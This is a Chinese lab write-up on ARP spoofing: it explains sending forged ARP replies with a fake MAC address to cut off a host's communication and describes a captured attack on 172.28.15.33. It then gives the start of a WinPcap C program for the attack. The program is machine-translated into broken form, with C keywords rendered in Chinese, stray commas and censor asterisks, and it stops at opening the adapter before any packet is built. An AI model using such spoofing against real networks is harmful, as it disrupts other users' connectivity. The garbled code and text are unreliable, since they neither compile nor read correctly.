伪造的ARP应答报文,阻碍对方通信

实验原理:

,,对主机一个发送伪造的ARP应答报文,假冒主机B的IP地址,但MAC地址设为不存在的一个硬件地址,主机一个接收此报文后错误地刷新ARP高速缓存中主机B的IP地址与MAC地址的映射关系,导致主机一个与主机B的网络通信中断。这种方法属于拒绝服务(Denial  of 服务,DoS) * * *,网络上流行的网络执法官等软件就是采用ARP欺骗机制,发送错误的网关MAC地址给非法用户,使其通信中断。

,,* * *者172.28.15.3以172.28.15.33的名义发起的一次ARP欺骗,可以看的出,* * *者发送了一系列的ARP请求包,表面上像是网关172.28.15.33在网络中查寻各个主机的MAC地址,而实际上是* * *者通过发送广播包告诉各个主机:172.28.15.33的MAC地址是“c8 - 9 c - dc - 22 - 61 - d0”。这样,当各主机收到广播包后,就会用伪造的这个MAC地址来更换原先的ARP缓存表,此时用“ARP——“命令查看时得到的就是这个伪造的MAC地址。


实验代码及步骤:


# include“stdafx。h”
# include & lt; pcap.h>
int _tmain (int命令行参数个数,_TCHAR * argv [])
{
,,,pcap_if_t * allAdapters;
,,,pcap_if_t *适配器;
,,,pcap_t ,,* adapterHandle;
,,,u_char ,,,,包[1020];,
,,,char errorBuffer [PCAP_ERRBUF_SIZE];

,,,如果(pcap_findalldevs_ex (PCAP_SRC_IF_STRING、零和allAdapters errorBuffer)==1)
,,,{
,,,,,,,流(stderr,“错误pcap_findalldevs_ex功能:% s \ n”, errorBuffer);
,,,,,,,返回1;
,,,}

,,,如果(allAdapters==NULL)
,,,{
,,,,,,,printf (" \ nNo适配器发现!确保WinPcap安装。\ n”);
,,,,,,,返回0;
,,,}

,,,int crtAdapter=0;

,,,(适配器=allAdapters;适配器!=零;适配器=适配器→下)
,,,{
,,,,,,,printf (" \ n % d。% s”、+ + crtAdapter适配器→名称);,
,,,,,,,printf (" % s \ n”,适配器→描述),
,,,}
,,,printf (" \ n ");

,,,
,,,int adapterNumber;
,,,printf("输入1和% d之间的适配器数量:”,crtAdapter);
,,,scanf_s (“% d”, adapterNumber);

,,,如果(adapterNumber & lt;1 | | adapterNumber祝辞crtAdapter)
,,,{
,,,,,,,printf (" \ nAdapter数量范围。\ n”);,,,,,,,
,,,,,,pcap_freealldevs (allAdapters);
,,,,,,,返回1;
,,,}

,,,适配器=allAdapters;
,,,(crtAdapter=0;crtAdapter & lt;adapterNumber - 1;crtAdapter + +)
,,,,适配器,适配器=?

,,,/
,,,adapterHandle=pcap_open(适配器→名称//适配器名称
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,65536年,,,,,,,,,//部分的数据包捕获
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,//65536保证whole 
,,,,,,,,,,,,,,,,,,,,,,,,,//包将被捕获
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,PCAP_OPENFLAG_PROMISCUOUS,//混杂模式
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1000年,,,,,,,,,,,,,//读取超时- 1毫秒
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,空,,,,,,,,,,null

伪造的ARP应答报文,阻碍对方通信